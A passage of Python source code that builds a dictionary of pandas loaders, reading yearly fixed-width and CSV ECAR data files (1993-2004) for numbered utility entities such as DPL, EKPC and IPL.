pd.read_fwf('%s/ecar/1999/BPI99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2000 : pd.read_fwf('%s/ecar/2000/BPI00' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2001 : pd.read_fwf('%s/ecar/2001/BPI01' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2002 : pd.read_csv('%s/ecar/2002/BPI02' % (fulldir), header=None)[1].values, 2003 : pd.read_fwf('%s/ecar/2003/BPI03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2004 : pd.read_fwf('%s/ecar/2004/BPI04' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel() }, 3755 : { 1993 : pd.read_fwf('%s/ecar/1993/CEI93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1994 : pd.read_fwf('%s/ecar/1994/CEI94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1995 : pd.read_fwf('%s/ecar/1995/CEI95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1996 : pd.read_fwf('%s/ecar/1996/CEI96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel() }, 3542 : { 1993 : pd.read_fwf('%s/ecar/1993/CEI93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1994 : pd.read_fwf('%s/ecar/1994/CEI94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1995 : pd.read_fwf('%s/ecar/1995/CEI95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1996 : pd.read_fwf('%s/ecar/1996/CIN96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1997 : pd.read_fwf('%s/ecar/1997/CIN97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1998 : pd.read_fwf('%s/ecar/1998/CIN98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1999 : pd.read_fwf('%s/ecar/1999/CIN99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2000 : pd.read_fwf('%s/ecar/2000/CIN00' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2001 : pd.read_fwf('%s/ecar/2001/CIN01' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2002 : pd.read_csv('%s/ecar/2002/CIN02' % (fulldir), header=None)[1].values, 2003 : pd.read_fwf('%s/ecar/2003/CIN03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2004 : pd.read_fwf('%s/ecar/2004/CIN04' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel() }, 4254 : { 1993 : pd.read_fwf('%s/ecar/1993/CP93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1994 : pd.read_fwf('%s/ecar/1994/CP94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1995 : pd.read_fwf('%s/ecar/1995/CP95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1996 : pd.read_fwf('%s/ecar/1996/CP96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel() }, 4922 : { 1993 : pd.read_fwf('%s/ecar/1993/DPL93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1994 : pd.read_fwf('%s/ecar/1994/DPL94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1995 : pd.read_fwf('%s/ecar/1995/DPL95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1996 : pd.read_fwf('%s/ecar/1996/DPL96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1997 : pd.read_fwf('%s/ecar/1997/DPL97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1998 : pd.read_fwf('%s/ecar/1998/DPL98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1999 : pd.read_fwf('%s/ecar/1999/DPL99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2000 : pd.read_fwf('%s/ecar/2000/DPL00' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2001 : pd.read_fwf('%s/ecar/2001/DPL01' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2002 : pd.read_csv('%s/ecar/2002/DPL02' % (fulldir), header=None)[1].values, 2003 : pd.read_fwf('%s/ecar/2003/DPL03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2004 : pd.read_fwf('%s/ecar/2004/DPL04' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel() }, 5109 : { 1993 : pd.read_fwf('%s/ecar/1993/DECO93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1994 : pd.read_fwf('%s/ecar/1994/DECO94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1995 : pd.read_fwf('%s/ecar/1995/DECO95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1996 : pd.read_fwf('%s/ecar/1996/DECO96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1997 : pd.read_fwf('%s/ecar/1997/DECO97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1998 : pd.read_fwf('%s/ecar/1998/DECO98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1999 : pd.read_fwf('%s/ecar/1999/DECO99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2000 : pd.read_fwf('%s/ecar/2000/DECO00' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2001 : pd.read_fwf('%s/ecar/2001/DECO01' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2002 : pd.read_csv('%s/ecar/2002/DECO02' % (fulldir), header=None)[1].values, 2003 : pd.read_fwf('%s/ecar/2003/DECO03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2004 : pd.read_fwf('%s/ecar/2004/DECO04' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel() }, 5487 : { 1993 : pd.read_fwf('%s/ecar/1993/DLCO93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1994 : pd.read_fwf('%s/ecar/1994/DLCO94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1995 : pd.read_fwf('%s/ecar/1995/DLCO95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1996 : pd.read_fwf('%s/ecar/1996/DLCO96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1997 : pd.read_fwf('%s/ecar/1997/DLCO97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1998 : pd.read_fwf('%s/ecar/1998/DLCO98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1999 : pd.read_fwf('%s/ecar/1999/DLCO99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2000 : pd.read_fwf('%s/ecar/2000/DLCO00' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2001 : pd.read_fwf('%s/ecar/2001/DLCO01' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2002 : pd.read_csv('%s/ecar/2002/DLCO02' % (fulldir), header=None)[1].values, 2003 : pd.read_fwf('%s/ecar/2003/DLCO03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2004 : pd.read_fwf('%s/ecar/2004/DLCO04' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel() }, 5580 : { 1993 : pd.read_fwf('%s/ecar/1993/EKPC93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1994 : pd.read_fwf('%s/ecar/1994/EKPC94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1995 : pd.read_fwf('%s/ecar/1995/EKPC95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1996 : pd.read_fwf('%s/ecar/1996/EKPC96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1997 : pd.read_fwf('%s/ecar/1997/EKPC97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1998 : pd.read_fwf('%s/ecar/1998/EKPC98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1999 : pd.read_fwf('%s/ecar/1999/EKPC99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2000 : pd.read_fwf('%s/ecar/2000/EKPC00' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2001 : pd.read_fwf('%s/ecar/2001/EKPC01' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2002 : pd.read_csv('%s/ecar/2002/EKPC02' % (fulldir), header=None)[1].values, 2003 : pd.read_fwf('%s/ecar/2003/EKPC03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2004 : pd.read_fwf('%s/ecar/2004/EKPC04' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel() }, 9267 : { 1993 : pd.read_fwf('%s/ecar/1993/HEC93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1994 : pd.read_fwf('%s/ecar/1994/HEC94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1995 : pd.read_fwf('%s/ecar/1995/HEC95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1996 : pd.read_fwf('%s/ecar/1996/HEC96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1997 : pd.read_fwf('%s/ecar/1997/HEC97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1998 : pd.read_fwf('%s/ecar/1998/HEC98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1999 : pd.read_fwf('%s/ecar/1999/HEC99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2000 : pd.read_fwf('%s/ecar/2000/HEC00' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2001 : pd.read_fwf('%s/ecar/2001/HEC01' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2002 : pd.read_csv('%s/ecar/2002/HEC02' % (fulldir), header=None)[1].values, 2003 : pd.read_fwf('%s/ecar/2003/HEC03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2004 : pd.read_fwf('%s/ecar/2004/HEC04' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel() }, 9273 : { 1993 : pd.read_fwf('%s/ecar/1993/IPL93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1994 : pd.read_fwf('%s/ecar/1994/IPL94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1995 : pd.read_fwf('%s/ecar/1995/IPL95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1996 : pd.read_fwf('%s/ecar/1996/IPL96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1997 : pd.read_fwf('%s/ecar/1997/IPL97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1998 : pd.read_fwf('%s/ecar/1998/IPL98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1999 : pd.read_fwf('%s/ecar/1999/IPL99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2000 : pd.read_fwf('%s/ecar/2000/IPL00' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2001 : pd.read_fwf('%s/ecar/2001/IPL01' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2002 : pd.read_csv('%s/ecar/2002/IPL02' % (fulldir), header=None)[1].values, 2003 : pd.read_fwf('%s/ecar/2003/IPL03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2004 : pd.read_fwf('%s/ecar/2004/IPL04' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel() }, 10171 : { 1993 : pd.read_fwf('%s/ecar/1993/KUC93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1994 : pd.read_fwf('%s/ecar/1994/KUC94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1995 : pd.read_fwf('%s/ecar/1995/KUC95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1996 : pd.read_fwf('%s/ecar/1996/KUC96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1997 : pd.read_fwf('%s/ecar/1997/KUC97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel() }, 11249 : { 1993 : pd.read_fwf('%s/ecar/1993/LGE93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1994 : pd.read_fwf('%s/ecar/1994/LGE94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1995 : pd.read_fwf('%s/ecar/1995/LGE95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1996 : pd.read_fwf('%s/ecar/1996/LGE96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1997 : pd.read_fwf('%s/ecar/1997/LGE97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1998 : pd.read_fwf('%s/ecar/1998/LGEE98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1999 : pd.read_fwf('%s/ecar/1999/LGEE99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2000 : pd.read_fwf('%s/ecar/2000/LGEE00' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2001 : pd.read_fwf('%s/ecar/2001/LGEE01' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2002 : pd.read_csv('%s/ecar/2002/LGEE02' % (fulldir), header=None)[1].values, 2003 : pd.read_fwf('%s/ecar/2003/LGEE03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2004 : pd.read_fwf('%s/ecar/2004/LGEE04' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel() }, 13756 : { 1993 : pd.read_fwf('%s/ecar/1993/NIPS93' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1994 : pd.read_fwf('%s/ecar/1994/NIPS94' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1995 : pd.read_fwf('%s/ecar/1995/NIPS95' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1996 : pd.read_fwf('%s/ecar/1996/NIPS96' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1997 : pd.read_fwf('%s/ecar/1997/NIPS97' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1998 : pd.read_fwf('%s/ecar/1998/NIPS98' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 1999 : pd.read_fwf('%s/ecar/1999/NIPS99' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2000 : pd.read_fwf('%s/ecar/2000/NIPS00' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2001 : pd.read_fwf('%s/ecar/2001/NIPS01' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2002 : pd.read_csv('%s/ecar/2002/NIPS02' % (fulldir), header=None)[1].values, 2003 : pd.read_fwf('%s/ecar/2003/NIPS03' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel(), 2004 : pd.read_fwf('%s/ecar/2004/NIPS04' % (fulldir), widths=[20,5,5,5,5,5,5,5,5,5,5,5,5,20,5,5,5,5,5,5,5,5,5,5,5,5], header=None).iloc[:, range(1,13)+range(14,26)].values.ravel() }, 13998 : { 1993 : pd.read_fwf('%s/ecar/1993/OES93' % (fulldir), 